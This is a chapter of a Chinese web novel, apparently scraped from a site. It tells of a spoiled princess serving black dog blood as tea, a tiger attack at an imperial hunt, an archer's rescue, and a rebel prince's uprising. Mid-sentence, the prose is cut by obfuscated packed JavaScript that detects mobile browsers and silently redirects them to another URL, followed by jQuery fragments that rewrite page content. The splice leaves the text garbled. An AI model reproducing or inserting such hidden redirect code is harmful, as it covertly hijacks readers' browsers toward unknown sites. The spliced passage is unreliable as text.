四公主是皇后所生,和刘纯一母同胞,不过兄妹俩感情算不上多好。
一直以来,四公主觉得自己哥哥不甚聪明还自视甚高,对刘纯很是看不上。
之前刘纯好几次都是热脸贴冷屁股,弄得自己丢了面子、失了理子,所以现在对四公主也就不冷不热了。
他堂堂皇长嫡子,生来尊贵,你瞧不起我,我还瞧不起你呢!
皇后身子骨弱,常年卧病在床,所以对两人缺乏管教。
等反应过来欲想让兄妹俩冰释前嫌时,已然来不及了。
两人都是自尊心极强的,万万没有自己向对方低头的道理,所以最后不了了之。
儿女都是债,皇后很是无奈,几次过后,索性就不管了。
因为被人管束的少,四公主养成了格外娇纵的性格,衣裳必须要用绫、罗制成,就连饮用的茶也必须价值千金。
这不,她手里的这壶茶正是贵妃昨日专门送给她的,据说是淮南那边新出的茶,极难获得。
贵妃说了,后宫之中,也只有她才懂得欣赏这等贵重之物,好东西当然要分享给懂她的人,听得四公主心花怒放的。
没错,她和宁就是这样一个有品味的人!
于是,趁着今天这等隆重场面,她就拿出来在众人面前显摆显摆。
离得近了。
石婉晴确认自己没有看错,确实是血,而且是传说中的黑狗血。
也不知往里面加了什么,竟然将大半血腥味给压制住了。
她扫向其他人,除了个别鼻子灵敏的外,剩下的人竟是丝毫不觉。
尤其是四公主,似乎只当这是一壶难得的茶而已。
石婉晴从未见过如此蠢笨无脑的人。
是怎么笃定那一壶暗红色的血是一价难求的茶的?而且还要大庭广众之下拿出来显摆?
不行了,她的胸弊之症要犯了。
抬眼看向前方高台上的刘景,想了想,终是决定先禀报再行动。
于是,离得近的众人眼睁睁地看着刘盛在刘景耳边说了些什么后,刘景的脸色瞬间就阴沉下来,和刚刚的悠闲自在天差地别。
“和宁,你给朕滚过来!”
在场人等齐齐一激灵,皆是抬头望来,不明白刘景怎么突然发这么大的火。
四公主怎么了?
给自己玩的要好的姐妹倒上“淮南茶”,刚要举杯共饮,就听到自家父皇的一声厉喝。
四公主的手一抖,手中的茶杯一下子就啐了。
杯中的黑狗血也狼狈地撒在了上好的紫绫裙摆上,叫人不得不感叹一句可惜了喽。
贵妃本人咬着下唇,桌下的手搅着衣衫,忐忑不安。
难道陛下发现了她所做的一切了吗?
怎么办?怎么办??
事实上,别看四公主很是娇纵,但她对刘景向来都是心存敬意的。
因为她深知,她现在所享受的一切全都离不开刘景。
要是刘景因此厌弃于她,她所拥有的一切都将化为乌有,更别提穿那些“下等人”才会穿的衣裳,吃糠咽菜,她,会疯的!
所以说,自私自利的人其实心里都跟明镜似的,她清楚的知道到底谁是软柿子,谁是不能得罪的。
“父…父父皇……”
哆哆嗦嗦站起身来,正要告罪。
突然,就被一道金色的高壮身影吸引了视线。
瞬间喉咙发干,眼神惊恐。
接着,便是一道高亢的女高音响彻众人的耳畔,“啊啊啊!有老虎啊!”
“老虎老虎……救命啊!救命啊!”
在场人瞬间就慌了神。
刘盛站在刘景身前,高声呼喊着:“护驾——”
李黎默默后退,这就是传说中的乌鸦嘴吧!
没成想,她就那么一想,竟然真的发生了。
事发突然,就连石婉晴也没料到,她担心的终究还是成真了!
躲在暗处的暗卫齐齐现身,护卫在刘景的正前方。
那些个文武百官带来的护卫,手拿长刀,心中却是无尽的惶恐,更有甚者直接就吓昏了过去,现场乱成一团。
李黎和凌云殿的宫女们挤作一团,似乎这样安全感才多一些,嘴里呼喊着“救命”。
此刻的石婉晴心情不太美妙,早知如此,她就应该把那壶黑狗血从四公主手上夺过来。
老虎赤红着双眼,张着血盆大口就向着血腥味极重的方向冲来。
四公主目眦欲裂,“啊啊啊,救命啊!”
她还年轻,还不想死!
关键时刻,气急败坏的刘景终是恢复了理智,立马下达命令。
“箭呢,给朕射,射死它——”
当务之急,是解决眼前的猛兽。
数千箭矢对准了高壮的老虎,不再犹豫,直接射了出去。
“吼——”
闪躲不及的老虎直接被扎成了刺猬,不过没有立即毙命,反而变得更加狂躁。
见人就咬,横冲直撞。
不少兵甲胸口被虎爪洞穿,血流如注,现场的女眷被吓得花容失色。
想要跑,却发现脚底生根了一般,一步也挪移不了。
本想逃走的李黎不小心被旁边的宫女绊了一跤,一下子摔倒在地。
疼得她龇牙咧嘴的,想要重新爬起,可已经来不及了。
眼看自己即将葬身在虎口下,她忍不住闭上眼睛。
爸、妈、奶奶,黎黎最终还是不能再见你们一面了。
闭上眼睛的她,自然是错过了刘景、石婉晴等人脸上划过的惊骇。
想要跑过去救下她,已然来不及。
“别——”
正在这时,熟悉的鹰啼声再次传来。
紧随其后的,便是一只逐渐放大的镞以及它华丽的箭身。
直直射入老虎的头颅之内。
“噗——”
远在百米之外,刘惇还保持着弯弓射箭的姿势,上半身直挺,眼睛发红。
如果细看,就会发现他的手还在微微颤抖着。
很显然,他的内心并不如他表面上那样平静。
那些逃跑的人群一滞,一眼就认出了他。
“太好了,是荣安郡王,我们得救了!”
在百官心中,和吃人的老虎相比,显然还是“杀神”更有威力一些。
赤红着双眼的老虎,脑袋一下子就被贯穿。
箭矢落在闭着眼睛的李黎脚下,扎进泥土中,红色的箭尾还在轻轻震动着。
紧接着便是老虎庞大的身躯直挺挺地倒下,溅起灰尘。
李黎缓缓睁开眼,就看到远方那个落于马上的身影。
阳光流转而过,映照在他的熟悉的脸庞上,此刻,李黎心中莫名安定下来。
拍了拍自己膝盖上的泥土,默默站起身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226891|194355||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来。
刘景等人注意到她没事,默默松了一口气。
还好还好,天命之人没事,否则百年之后他真的无言面对下面乾元的列祖列宗。
一霖道人紧握着的手也慢慢松开,虽然卦象最终显示是大吉,可他仍然把心提到了嗓子眼。
毕竟,卦象就和人心一样,易变。
他不敢相信要是刘惇晚来一步结果会怎样。
鹰隼重新落在刘惇肩头,看着李黎站起身来,刘惇心中默默松了一口气,眼中的红光慢慢褪去。
万幸,这一次他救下她了。
不用再次承受失去李黎的痛苦。
驾着马儿来到近前,他下马,跑上前对着她关心地问道:“黎黎,你没事吧?”
李黎缓缓摇了摇头,不知怎的,被他这样一注视,她的脸颊上不自觉的泛起些红晕,发自内心的道谢道:“多谢,我没事。”
刘惇神色轻松了不少,“那就好。”
就在这时,一阵马蹄声从后面传来。
刘惇瞳孔猛的一缩,作为一个常年奔波在战场上的人,他不会听错,这是战马的马蹄声。
转过身。
李黎眼中闪过疑惑,也向着前方看去。
就看到刚刚狩猎的那些人全都狼狈的从林中奔了出来。
发生什么事儿了?
刘纯的脸上一片雪白。
“吁——”
从马上一下翻滚下来,很是狼狈。
众人这才注意到他的小腿被一只箭矢给洞穿了,沿着来路滴落了不少鲜血。
“父皇,不好了,皇叔反了!
容星也为了保护儿臣被人给射死了,父皇,您一定要替儿臣和容星报仇啊!”
众人倏然一惊,能够让刘纯称为皇叔的,天下只此一人,那就是淮南王刘河。
可,这怎么可能呢?
刘景面上难看,却看到后来回来的几个人身上都有不同程度的受伤,最严重的还是一个纨绔子弟,胸膛被彻底贯穿,马儿自发地跑回来的,这让老年得子的朝臣哭得闻者伤心、见者流泪的。
剩下的几个皇子倒是有人护着,没出什么大事。
一些个英姿飒爽的大小姐看上去倒是比其他人冷静的多。
“大皇子说的没错,淮南王反了,是真的!”
众人眼中的震惊丝毫不亚于刚刚那头张着血盆大口的老虎突然出现。
“哈哈哈,既然大家都知道了,那本王也就不藏着掖着了!”
话落,刘河率领着他的手下们齐齐出现。
这些人手拿长弓,全都骑在战马上,眼神火热。
看着眼前的众人和待宰的羔羊没有什么两样。
侍中容桂是个刚正不阿、为国为民的小老头,容星便是他的儿子。
此刻的他再也抑制不住内心的悲痛,破口大骂。
“刘河你狼子野心,不得好死!
乾元的江山落入你手,才是真正的完了,老夫就算是死,也不会让你的阴谋得逞的!”
刘河嘴角的弧度渐渐收紧,所有的好心情一扫而空。
眼中的杀气一闪而过,“老头,本来看你年纪大了,还想留你一命的,既然你这么不识时务,那么本王就先拿你来开刀吧!
射!给本王乱箭射死他!”
容桂毫不在意,儿子没了,他这把老骨头活着也没什么意思了,当即骂的更狠了。